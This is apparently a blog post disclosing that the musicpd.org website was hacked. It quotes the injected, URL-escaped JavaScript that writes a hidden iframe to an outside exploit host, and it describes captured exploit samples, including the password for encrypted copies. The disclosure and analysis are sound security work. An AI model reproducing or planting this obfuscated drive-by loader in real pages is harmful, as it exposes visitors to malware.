<:musicpd.org hacked>

Today I used my Windows XP box and its Internet Explorer 6 SP 2 to surf to <>. But while loading the page my hard drive worked quite a lot and IE showed me a script error. That made me suspicious, and I had a look into the source code.

There, even before the , the following code appeared:

<html>
<body>
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%6E%74%72%30%2E%63%6F%6D%2F%74%65%73%74%2F%67%6F%2E%70%68%70%3F%73%69%64%3D%36%22%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%20%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
//-->
</script>
</html>
</body>

The un string adds an that leads to a web page which seems to only show its dangerous contents to Internet Explorer users. While I am writing this, it seems the attackers have noticed my analysis and replaced the code with an empty page. However, I've got <>... ;) I've not yet finished the reverse engineering of that code, but it seems they try to use, among others, a security vulnerability from 2005 to execute an arbitrary file on the client host. Luckily I managed to get a <> as well. Will be fun to analyze in a virtual machine.

For me it seems as if there was no high risk to the visitors of the mpd website, at least if they're using a recently patched Windows. But I haven't looked at all of the exploits yet, I'll keep you updated. Oh, the password for the GPG encrypted files I linked above is "baz00ka".